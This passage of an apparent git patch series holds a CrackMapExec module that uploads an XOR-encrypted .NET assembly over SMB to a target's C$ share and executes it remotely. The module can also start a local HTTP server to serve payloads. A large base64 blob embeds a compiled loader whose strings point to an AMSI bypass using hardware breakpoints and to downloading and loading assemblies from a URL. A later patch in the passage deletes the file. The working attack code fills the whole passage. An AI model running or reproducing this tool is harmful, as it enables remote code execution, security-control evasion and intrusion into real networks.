AAAAMAzQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAAAAAAAAAAQAAAAAAPwAAAAAAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEbAIAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAASAIAAAEAMAAwADAAMAAwADQAYgAwAAAAGgABAAEAQwBvAG0AbQBlAG4AdABzAAAAAAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAAAAAAAAAAADgACAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABjAG0AZQBFAHgAZQBjAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAwAAAAOAAMAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABjAG0AZQBFAHgAZQBjAC4AZQB4AGUAAABIABIAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQAAABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIAAgADIAMAAyADMAAAAqAAEAAQBMAGUAZwBhAGwAVAByAGEAZABlAG0AYQByAGsAcwAAAAAAAAAAAEAADAABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABjAG0AZQBFAHgAZQBjAC4AZQB4AGUAAAAwAAgAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAGMAbQBlAEUAeABlAGMAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAACsYwAA6gEAAAAAAAAAAAAA77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KDQo8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDxhc3NlbWJseUlkZW50aXR5IHZlcnNpb249IjEuMC4wLjAiIG5hbWU9Ik15QXBwbGljYXRpb24uYXBwIi8+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYyIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPg0KICAgICAgICA8cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgbGV2ZWw9ImFzSW52b2tlciIgdWlBY2Nlc3M9ImZhbHNlIi8+DQogICAgICA8L3JlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgPC9zZWN1cml0eT4NCiAgPC90cnVzdEluZm8+DQo8L2Fzc2VtYmx5PgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=") + self.assembly_name = module_options.get('assembly_name', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".exe") + self.assembly_path = module_options.get('assembly_path', '') + self.use_embedded = True + + if 'assembly_path' in module_options: + self.assembly_path = module_options['assembly_path'] + self.use_embedded = False + else: + if sys.platform == "win32": + appdata_path = os.getenv('APPDATA') + if not os.path.exists(appdata_path + "\CME"): + os.mkdir(appdata_path + "\CME") + self.assembly_path = appdata_path + "\CME\\" + else: + if not os.path.exists("/tmp/cme/"): + os.mkdir("/tmp/cme/") + self.assembly_path = "/tmp/cme/" + + if 'assembly_name' in module_options: + self.assembly_name = module_options['assembly_name'] + self.use_embedded = False + + if 'tmp_dir' in module_options: + self.tmp_dir = module_options['tmp_dir'] + + if 'UPLOAD_ASSEMBLY' in module_options: + self.upload_assembly = module_options['UPLOAD_ASSEMBLY'] + else: + self.upload_assembly = '' + + self.web_server_process = None + + + @staticmethod + def random_filename(length=10): + return ''.join(random.choice(string.ascii_lowercase) for i in range(length)) + + def on_admin_login(self, context, connection): + xor_key_used = False + if self.upload_assembly: + xor_key_used = True + try: + upload_assembly_dir = os.path.dirname(self.upload_assembly) + with open(self.upload_assembly, 'rb') as assembly_file: + encrypted_assembly = xor_encrypt(assembly_file.read(), self.xor_key) + random_local_name = self.random_filename() + '.Enc' + encrypted_assembly_path = os.path.join(upload_assembly_dir, random_local_name) + with open(encrypted_assembly_path, 'wb') as enc_assembly_file: + enc_assembly_file.write(encrypted_assembly) + context.log.success(f'Local file {encrypted_assembly_path} created with key {self.xor_key.hex()}') + random_remote_name = random_local_name + remote_temp_path = f'{self.tmp_dir}{random_remote_name}' + with open(encrypted_assembly_path, 'rb') as enc_assembly_file: + connection.conn.putFile(self.share, self.tmp_share + random_remote_name, enc_assembly_file.read) + context.log.success(f'Uploaded file {random_remote_name} to \\{self.share}{self.tmp_share}') + os.remove(encrypted_assembly_path) + context.log.info(f'Local file {encrypted_assembly_path} removed') + except Exception as e: + context.log.error('Error writing file to share {}: {}'.format(self.share, e)) + else: + self.web_server_process = subprocess.Popen(['python3', '-m', 'http.server', '80'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + context.log.highlight("Started Python HTTP server in the current directory") + + if self.use_embedded: + with open(self.assembly_path + self.assembly_name, 'wb') as assembly_file: + assembly_file.write(self.assembly_embedded64) + + context.log.info('Copy {} to {}'.format(self.assembly_path + self.assembly_name, self.tmp_dir)) + with open(self.assembly_path + self.assembly_name, 'rb') as assembly_file: + remote_temp_path = f'{self.tmp_dir}{self.assembly_name}' + try: + connection.conn.putFile(self.share, self.tmp_share + self.assembly_name, assembly_file.read) + context.log.success('Created file {} on the \\\\{}{}'.format(self.assembly_name, self.share, self.tmp_share)) + os.remove(self.assembly_path + self.assembly_name) + except Exception as e: + context.log.error('Error writing file to share {}: {}'.format(self.share, e)) + + xor_key_string = self.xor_key.decode('utf-8') + uploaded_enc_file = f'{self.tmp_dir}{random_remote_name}' if self.upload_assembly else '' + + if xor_key_used and self.upload_assembly: + exec_command = f'{remote_temp_path} {xor_key_string} {uploaded_enc_file} {self.assembly_args}' + elif xor_key_used: + exec_command = f'{remote_temp_path} {xor_key_string} {self.assembly_args}' + else: + exec_command = f'{remote_temp_path} {self.assembly_args}' + + context.log.info(f'Executing Assembly with command: {exec_command}') + output = connection.execute(exec_command, True) + + if output: + context.log.highlight(f'Script executed successfully, output: {output}') + else: + context.log.error('No output from the executed command') + + try: + if self.upload_assembly: + connection.conn.deleteFile(self.share, self.tmp_share + random_remote_name) + connection.conn.deleteFile(self.share, self.tmp_share + self.assembly_name) + except Exception as e: + context.log.error('Error deleting file from share {}: {}'.format(self.share, e)) + + if self.web_server_process: + self.web_server_process.terminate() + #context.log.highlight("Stopped Python HTTP server") From 9332b92223bea18add8bee8c735400429a8c0384 Mon Sep 17 00:00:00 2001 From: Shad0wC0ntr0ller <90877534+Shad0wC0ntr0ller@users.noreply.github.com> Date: Mon, 31 Jul 2023 21:58:20 -0400 Subject: [PATCH 3/7] Delete ExecuteAssembly.py --- cme/modules/ExecuteAssembly.py | 164 --------------------------------- 1 file changed, 164 deletions(-) delete mode 100644 cme/modules/ExecuteAssembly.py diff --git a/cme/modules/ExecuteAssembly.py b/cme/modules/ExecuteAssembly.py deleted file mode 100644 index 634b0aac..00000000 --- a/cme/modules/ExecuteAssembly.py +++ /dev/null @@ -1,164 +0,0 @@ -import base64 -import sys -import os -import random -import string -import tempfile -import subprocess -from impacket.smbconnection import SMBConnection -from itertools import cycle - - -def xor_encrypt(data, key): - return bytearray(a ^ b for a, b in zip(data, cycle(key))) - - -class CMEModule: - ''' - EXECUTE A REMOTE ASSEMBLY OR UPLOAD AN ENCRYPTED ASSEMBLY TO DISK WHICH IS THEN DECRYPTED AND EXECUTED USING A MODIFIED VERSION OF https://gist.github.com/susMdT/360c64c842583f8732cc1c98a60bfd9e - - MODULE BY BRANDON FISHER @shad0wcntr0ller - ''' - name = 'assembly' - description = "EXECUTE A REMOTE ASSEMBLY OR UPLOAD AN ENCRYPTED ASSEMBLY TO DISK WHICH IS THEN DECRYPTED AND EXECUTED USING A MODIFIED VERSION OF https://gist.github.com/susMdT/360c64c842583f8732cc1c98a60bfd9e" - supported_protocols = ['smb'] - opsec_safe = True - multiple_hosts = True - - def options(self, context, module_options): - - ''' - - ASSEMBLY_ARGS -> Arguments to be passed to the modifed version of https://gist.github.com/susMdT/360c64c842583f8732cc1c98a60bfd9e which is the assembly_embedded64 - - UPLOAD_ASSEMBLY -> Uploads an assembly from your localhost to the target machine - - XOR_KEY -> set a custom xor key to be applied to the assembly being uploaded, if not specified, xor_key 0x55 is applied - - ''' - - - if 'assembly_args' in module_options.keys(): - self.assembly_args = module_options['assembly_args'] - elif 'ASSEMBLY_ARGS' in module_options.keys(): - self.assembly_args = module_options['ASSEMBLY_ARGS'] - else: - self.assembly_args = '' - context.log.info(f'No assembly_args provided. Set self.assembly_args: {self.assembly_args}') - - if 'xor_key' in module_options.keys(): - self.xor_key = bytes(module_options['xor_key'], 'utf-8') - elif 'XOR_KEY' in module_options.keys(): - self.xor_key = bytes(module_options['XOR_KEY'], 'utf-8') - else: - self.xor_key = b'\x55' # Default value - - self.tmp_dir = module_options.get('tmp_dir', "C:\\windows\\temp\\") - self.share = "C$" - self.tmp_share = self.tmp_dir.split(":")[1] - self.assembly_embedded64 = base64.b64decode("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KQA0AGEAEQEAAAAAAFIxMABEcjAAUjExAElFbnVtZXJhYmxlYDEAUmVzZXJ2ZWQxAERyMQBSMTIAa2VybmVsMzIAUmVhZEludDMyAFdyaXRlSW50MzIAUmVzZXJ2ZWQyAERyMgBSMTMAUmVzZXJ2ZWQzAERyMwBSMTQAQ09OVEVYVDY0X0FNRDY0AFhTQVZFX0ZPUk1BVDY0AENPTlRFWFQ2NABVSW50NjQAUmVhZEludDY0AFRvSW50NjQAUmVzZXJ2ZWQ0AFIxNQBEcjYARHI3AGdldF9VVEY4AFI4AFI5ADxNb2R1bGU+AE0xMjhBAERCR19DT05UUk9MX0MARVhDRVBUSU9OX0FSUkFZX0JPVU5EU19FWENFRURFRABDUkVBVEVfU1VTUEVOREVEAERCR19FWENFUFRJT05fTk9UX0hBTkRMRUQARVhDRVBUSU9OX1JFQ09SRABDUkVBVEVfTkVXX0NPTlNPTEUARFVNTVlVTklPTk5BTUUAREJHX0NPTlRJTlVFAEVYQ0VQVElPTl9DT05USU5VRV9TRUFSQ0gAV2luQVBJAENPTlRFWFQ2NF9BTEwAQ09OVEVYVDY0X0ZVTEwAQ09OVEVYVDY0X0NPTlRST0wAQU1TSV9SRVNVTFRfQ0xFQU4ARVhDRVBUSU9OX0FDQ0VTU19WSU9MQVRJT04ARVhDRVBUSU9OX0NPTlRJTlVFX0VYRUNVVElPTgBTeXN0ZW0uSU8ARVhDRVBUSU9OX0lOVF9ESVZJREVfQllfWkVSTwBFWENFUFRJT05fU0lOR0xFX1NURVAAQ09OVEVYVDY0X0lOVEVHRVIAQ09OVEVYVDY0X0ZMQUdTAEVYQ0VQVElPTl9QT0lOVEVSUwBDT05URVhUNjRfREVCVUdfUkVHSVNURVJTAERFQlVHX1BST0NFU1MAQ09OVEVYVDY0X1NFR01FTlRTAEVYQ0VQVElPTl9EQVRBVFlQRV9NSVNBTElHTk1FTlQAT1VUUFVUX0RFQlVHX1NUUklOR19FVkVOVABDUkVBVEVfVEhSRUFEX0RFQlVHX0VWRU5UAEVYSVRfVEhSRUFEX0RFQlVHX0VWRU5UAFVOTE9BRF9ETExfREVCVUdfRVZFTlQARVhDRVBUSU9OX0RFQlVHX0VWRU5UAENSRUFURV9QUk9DRVNTX0RFQlVHX0VWRU5UAEVYSVRfUFJPQ0VTU19ERUJVR19FVkVOVABSSVBfRVZFTlQARVhDRVBUSU9OX0JSRUFLUE9JTlQAQ09OVEVYVDY0X0ZMT0FUSU5HX1BPSU5UAHZhbHVlX18ARG93bmxvYWREYXRhAG1zY29ybGliAGNtZUV4ZWMAZ2V0X0lzUHVibGljAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAGdldF9Jc1N0YXRpYwBoVGhyZWFkAExvYWQAR2V0TWV0aG9kAFRhZ1dvcmQAQ29udHJvbFdvcmQAU3RhdHVzV29yZABwRXhjZXB0aW9uUmVjb3JkAHBDb250ZXh0UmVjb3JkAENyZWF0ZUluc3RhbmNlAEV4Y2VwdGlvbkNvZGUARXJyb3JPcGNvZGUAZ2V0X01lc3NhZ2UASW52b2tlAEVudW1lcmFibGUAZ2V0X01ldGhvZEhhbmRsZQBSdW50aW1lTWV0aG9kSGFuZGxlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAEZpbGUAQ29uc29sZQBoTW9kdWxlAGdldF9OYW1lAHByb2NOYW1lAGxwRmlsZU5hbWUAUDFIb21lAFAySG9tZQBQM0hvbWUAUDRIb21lAFA1SG9tZQBQNkhvbWUAV3JpdGVMaW5lAFZhbHVlVHlwZQBnZXRfRGVjbGFyaW5nVHlwZQBTZWN1cml0eVByb3RvY29sVHlwZQBnZXRfUGFyYW1ldGVyVHlwZQBTeXN0ZW0uQ29yZQBQdHJUb1N0cnVjdHVyZQBNZXRob2RCYXNlAGFtc2lCYXNlAEd1aWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUARmxhZ3NBdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEJ5dGUAbmV3VmFsdWUAY21lRXhlYy5leGUAU2l6ZU9mAEVuY29kaW5nAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAVG9TdHJpbmcASGlnaABTdGFydHNXaXRoAFJkaQBSc2kATXhDc3JfTWFzawBBbGxvY0hHbG9iYWwATWFyc2hhbABLZXJuZWwzMi5kbGwAa2VybmVsMzIuZGxsAHNldF9TZWN1cml0eVByb3RvY29sAERlYnVnQ29udHJvbABWZWN0b3JDb250cm9sAFByb2dyYW0AU3lzdGVtAEVudW0ATWFpbgBFeGNlcHRpb25JbmZvcm1hdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBSZWZsZWN0aW9uVHlwZUxvYWRFeGNlcHRpb24ATWV0aG9kSW5mbwBNZW1iZXJJbmZvAFBhcmFtZXRlckluZm8AUmJwAExhc3RCcmFuY2hGcm9tUmlwAExhc3RFeGNlcHRpb25Gcm9tUmlwAExhc3RCcmFuY2hUb1JpcABMYXN0RXhjZXB0aW9uVG9SaXAAU2tpcABSc3AAU3lzdGVtLkxpbnEAcEFtc2lTY2FuQnVmZmVyAFNlcnZpY2VQb2ludE1hbmFnZXIAQWRkVmVjdG9yZWRFeGNlcHRpb25IYW5kbGVyAEdldEZ1bmN0aW9uUG9pbnRlcgBWZWN0b3JSZWdpc3RlcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAERhdGFTZWxlY3RvcgBFcnJvclNlbGVjdG9yAE14Q3NyAFN0cnVjdHVyZVRvUHRyAFJlYWRJbnRQdHIAU2VnQ3MAU2VnRHMAU2VnRXMAU2VnRnMAU2VnR3MAU2VnU3MAU3lzdGVtLkRpYWdub3N0aWNzAEdldE1ldGhvZHMAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAR2V0VHlwZXMAUmVhZEFsbEJ5dGVzAEdldEJ5dGVzAEVGbGFncwBCaW5kaW5nRmxhZ3MARXhjZXB0aW9uRmxhZ3MAQ29udGV4dEZsYWdzAGFyZ3MAZ2V0X0xvYWRlckV4Y2VwdGlvbnMAZXhjZXB0aW9ucwBOdW1iZXJQYXJhbWV0ZXJzAEdldFBhcmFtZXRlcnMAWG1tUmVnaXN0ZXJzAEZsb2F0UmVnaXN0ZXJzAFNldHVwQnlwYXNzAEdldFByb2NBZGRyZXNzAEV4Y2VwdGlvbkFkZHJlc3MAYWRkcmVzcwBTZXRCaXRzAGJpdHMARm9ybWF0AE9iamVjdABTeXN0ZW0uTmV0AERhdGFPZmZzZXQARXJyb3JPZmZzZXQAbG93Qml0AG9wX0V4cGxpY2l0AFdlYkNsaWVudABnZXRfRW50cnlQb2ludABGaW5kRW50cnlQb2ludABFbmFibGVCcmVha3BvaW50AFhvckRlY3J5cHQAVGVzdABGaXJzdABpbnB1dABTeXN0ZW0uVGV4dABHZXRUaHJlYWRDb250ZXh0AFNldFRocmVhZENvbnRleHQAbHBDb250ZXh0AGR3AExvdwBSYXgAUmJ4AFJjeABSZHgAaW5kZXgAcEN0eABjdHgAVG9BcnJheQB4b3JLZXkAQXNzZW1ibHkAYXNzZW1ibHkATG9hZExpYnJhcnkAb3BfRXF1YWxpdHkAb3BfSW5lcXVhbGl0eQBFbXB0eQAAZ1AAbABlAGEAcwBlACAAcAByAG8AdgBpAGQAZQAgAHQAaABlACAAcABhAHQAaAAvAFUAUgBMACAAZgBvAHIAIAB0AGgAZQAgAGwAbwBhAGQAZQBkACAAcAByAG8AZwByAGEAbQAuAAAJMAB4ADUANQAAD2gAdAB0AHAAOgAvAC8AABFoAHQAdABwAHMAOgAvAC8AAIC1UABsAGUAYQBzAGUAIABwAHIAbwB2AGkAZABlACAAWABPAFIAIABrAGUAeQ